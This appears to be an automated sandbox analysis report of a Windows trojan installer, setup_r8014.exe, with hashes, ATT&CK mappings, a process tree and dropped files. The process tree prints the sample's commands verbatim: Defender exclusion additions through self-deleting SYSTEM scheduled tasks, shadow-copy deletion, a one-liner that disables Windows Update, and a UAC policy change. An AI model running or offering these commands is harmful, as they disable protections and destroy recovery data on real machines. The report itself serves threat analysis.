bbc386a9e8f49b180ec471112c253eb8c9f4ba15e8b00eea1bde0cfebcf8673e

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 04:36

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General

Target
setup_r8014.exe
Size 40.9MB
Sample260805-e77z2aybnb
SHA256 bbc386a9e8f49b180ec471112c253eb8c9f4ba15e8b00eea1bde0cfebcf8673e
MD5 21a68c59aad76dade4017eab72807c75
SHA1 5d7971e3a28243b04ec5ed456a3831c6256bafa2
SHA512 efdf69f1c1a80d7b46c394a497b085bacb04ab153065156ba2dd712a03ba2fb9f154c365540f035a46a2a9c0e6415a7e42ce221b1f9180d360b85f6b3ddce9a1
SSDEEP 98304:Nuj9nmneNvl8/HgAKaF3CMGQ23dVcL8kxEPj6:8Rnmedl8vgAKa1RGQ23dtkSPj6
TLSH
T1FE97F58FBB42CDC1DA4691F0549BB76023FEFC655BE1C32312D46B21AE9718C8DA35A1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	86B4a2.exe

Windows security bypass 2 TTPs 4 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	mHzWZE.exe

Executes dropped EXE 6 IoCs

pid	Process
4692	mHzWZE.exe
4084	mHzWZE.exe
1832	86B4a2.exe
4688	86B4a2.exe
3492	86B4a2.exe
3892	m4nqR27.exe

Loads dropped DLL 5 IoCs

pid	Process
4692	mHzWZE.exe
4084	mHzWZE.exe
1832	86B4a2.exe
4688	86B4a2.exe
3492	86B4a2.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\eJadvb\\mHzWZE.exe\""	mHzWZE.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\86B4a2\\86B4a2.exe\""	86B4a2.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3280	cmd.exe
4192	cmd.exe
2564	cmd.exe
4256	cmd.exe
5100	cmd.exe
2096	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	mHzWZE.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\86B4a2\86B4a2.exe	mHzWZE.exe
File created	C:\Program Files (x86)\86B4a2\XPSPLOG.dll	mHzWZE.exe
File opened for modification	C:\Program Files (x86)\86B4a2\image.png	mHzWZE.exe
File created	C:\Program Files (x86)\f2rZj96vI\thumbs.db	86B4a2.exe
File opened for modification	C:\Program Files (x86)\f2rZj96vI\thumbs.db	86B4a2.exe
File created	C:\Program Files (x86)\86B4a2\image.png	mHzWZE.exe
File opened for modification	C:\Program Files (x86)\86B4a2\thumbs.db	mHzWZE.exe
File opened for modification	C:\Program Files (x86)\f2rZj96vI\m4nqR27.exe	86B4a2.exe
File created	C:\Program Files (x86)\f2rZj96vI\XPSPLOG.dll	86B4a2.exe
File opened for modification	C:\Program Files (x86)\f2rZj96vI\XPSPLOG.dll	86B4a2.exe
File opened for modification	C:\Program Files (x86)\86B4a2	mHzWZE.exe
File created	C:\Program Files (x86)\86B4a2\thumbs.db	mHzWZE.exe
File opened for modification	C:\Program Files (x86)\86B4a2\86B4a2.exe	mHzWZE.exe
File opened for modification	C:\Program Files (x86)\86B4a2\XPSPLOG.dll	mHzWZE.exe
File opened for modification	C:\Program Files (x86)\f2rZj96vI	86B4a2.exe
File created	C:\Program Files (x86)\f2rZj96vI\m4nqR27.exe	86B4a2.exe
File created	C:\Program Files (x86)\f2rZj96vI\image.png	86B4a2.exe
File opened for modification	C:\Program Files (x86)\f2rZj96vI\image.png	86B4a2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4720	cmd.exe
4656	cmd.exe
2076	cmd.exe
2572	cmd.exe
744	cmd.exe
2932	cmd.exe
3632	cmd.exe
2276	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m4nqR27.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	86B4a2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	86B4a2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	86B4a2.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	mHzWZE.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3084	schtasks.exe
4780	schtasks.exe
3324	schtasks.exe
4408	schtasks.exe
4552	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4156	setup_r8014.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe
4692	mHzWZE.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 2564	4692	mHzWZE.exe	96
PID 4692 wrote to memory of 4256	4692	mHzWZE.exe	98
PID 2564 wrote to memory of 4552	2564	cmd.exe	100
PID 4256 wrote to memory of 3084	4256	cmd.exe	101
PID 2564 wrote to memory of 1784	2564	cmd.exe	102
PID 4692 wrote to memory of 5100	4692	mHzWZE.exe	105
PID 4256 wrote to memory of 1376	4256	cmd.exe	107
PID 2564 wrote to memory of 1056	2564	cmd.exe	108
PID 5100 wrote to memory of 4780	5100	cmd.exe	111
PID 4256 wrote to memory of 1736	4256	cmd.exe	112
PID 5100 wrote to memory of 4008	5100	cmd.exe	113
PID 5100 wrote to memory of 2572	5100	cmd.exe	114
PID 4692 wrote to memory of 2096	4692	mHzWZE.exe	115
PID 4692 wrote to memory of 3280	4692	mHzWZE.exe	117
PID 2096 wrote to memory of 3324	2096	cmd.exe	119
PID 3280 wrote to memory of 4408	3280	cmd.exe	120
PID 2096 wrote to memory of 868	2096	cmd.exe	121
PID 3280 wrote to memory of 1688	3280	cmd.exe	122
PID 2096 wrote to memory of 4180	2096	cmd.exe	124
PID 3280 wrote to memory of 3988	3280	cmd.exe	125
PID 744 wrote to memory of 5056	744	cmd.exe	127
PID 2932 wrote to memory of 2736	2932	cmd.exe	128
PID 4692 wrote to memory of 1832	4692	mHzWZE.exe	129
PID 1832 wrote to memory of 3632	1832	86B4a2.exe	134
PID 1832 wrote to memory of 2276	1832	86B4a2.exe	136

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	86B4a2.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe
"C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4156

C:\Users\Public\eJadvb\mHzWZE.exe
C:\Users\Public\eJadvb\mHzWZE.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eJadvb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eJadvb\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1784
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3084
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3280
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1688
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3988
- C:\Program Files (x86)\86B4a2\86B4a2.exe
  "C:\Program Files (x86)\86B4a2\86B4a2.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\86B4a2" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2276
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4656
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:2572
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:3540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\86B4a2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4192
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2076

C:\Users\Public\eJadvb\mHzWZE.exe
"C:\Users\Public\eJadvb\mHzWZE.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4084

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5056

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3252

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2932
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2736

C:\Program Files (x86)\86B4a2\86B4a2.exe
"C:\Program Files (x86)\86B4a2\86B4a2.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4688

C:\Program Files (x86)\86B4a2\86B4a2.exe
"C:\Program Files (x86)\86B4a2\86B4a2.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3492

C:\Program Files (x86)\f2rZj96vI\m4nqR27.exe
"C:\Program Files (x86)\f2rZj96vI\m4nqR27.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

86B4a2.exe

Path C:\Program Files (x86)\86B4a2\86B4a2.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\86B4a2\XPSPLOG.dll
Size 4.6MB
SHA256 7fe2c78ea152fca9b6d47aad11cdf1741439a82eab3b5f6ff5745cb9257fa1b2
MD5 1f701ca527e2d611f70193c073315d8b
SHA1 16962005fc4afd113737350017928e1bd2b317b6
SHA512 4ccd478bf2d8885276acdf3c0816666b815b70ba99c11a97dbc63e313dee0b222254728f3e9dc18d3101c25520605122c5a159c43337dad0ed65e67c5363b5c6
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyM:BMWKfU+BcUTHCCCfqCiUffnM
TLSH
T102263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\86B4a2\image.png
Size 5.0MB
SHA256 48a9e6b12a01b05c626fd4f0914c9142fa2b1d44f5bf03e0bf436fc06f3ca693
MD5 bc36063a2bbaeddf860d191122268949
SHA1 c4c551d5408048b9b32cab3d0521ea7e7740f8e1
SHA512 d8cce700842a65c714cb6f17ba28f91ba4e7adb21fe50fd46119bce5631df9f25b023369014c2b66440eef67de3131293dff6bddc11ad6425b535df7c7949ef6
SSDEEP 98304:6qvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:G/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T155363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\86B4a2\thumbs.db
Size 358KB
SHA256 d8cd7ffbce258c415545c86985637aba0c8407fba7ef40af2b4de9b1163547c1
MD5 098e1235375a69e3fa6f3a50e776ce16
SHA1 fb158f916cb8a5f022b4f9a504978cca2506063c
SHA512 26da4593a1db5138ffb12075386f5eaf59419240dacb8f909ed6a69a8445fdf23c6942df3380bda9208055942cd5ca60b27ce3e8bb65b508d47eac7b0d8bc796
SSDEEP 6144:9iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:08u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1C474F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\f2rZj96vI\XPSPLOG.dll
Size 4.6MB
SHA256 56e54544195205b410a5ed8aaa554e66f168784ea95691a02ffe1bb6c0ade6d6
MD5 1ef272ac877e8903198cda45f88d5edf
SHA1 77410b89b1615c5ef162781908c0b5e159748668
SHA512 62e6acd92f48554269044847bec1a4298c040278c1711117b46b0236fbfedc0a3237058ad351e3d3b8ef2e8a17e1033687a9ee667c80e217e340a52a4086dca6
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyZ:BMWKfU+BcUTHCCCfqCiUffnZ
TLSH
T17C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\f2rZj96vI\image.png
Size 1.4MB
SHA256 4cf866fd3f9de817373e783718d6ed10ac0d5fab3b8316dbbeb7e7db57ca1865
MD5 16a7f2391f4dec34cdecb08658c035f8
SHA1 e37ad59ed9179f070ce52d10217e48f7bbd1ea66
SHA512 364332e82106803adb25d845deb39d0a1184f08e51de82ece0f8e3d316079b30308c48990db580f020f34a930791d5a0f383f1b1b4dd6e6b0552e83d9fa24667
SSDEEP 24576:MVdAvLgqCBcOnDtNu0JYQBVSRO5UXV8dyC6fbcf63w1OChXet80fMz+UOrdP+sT/:MVdAvUVBR9J/zSg51dyCub8jkUOp7eDS
TLSH
T141653313C37C651353A144BEDB7036BFE6E319E0E1A0C8AA3F9C593B821ED79561892D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\eJadvb\UxEnhance64.dll
Size 3.1MB
SHA256 33a30a7e4e926eed281e236ed6864922b2d2a0812df1e5f85ab4420faf6f2a56
MD5 941c4263c80955b2f06be3833cc517d0
SHA1 28f64c7cbd8435112d3bcdee68791bd57e6a142f
SHA512 4aff2f845d9802a3a8cf08e4ed36658dd3360232abce4856179b93593579f0bad31baa447a4939857cca466f541eabeaad20481304d846e5792ad36713480b69
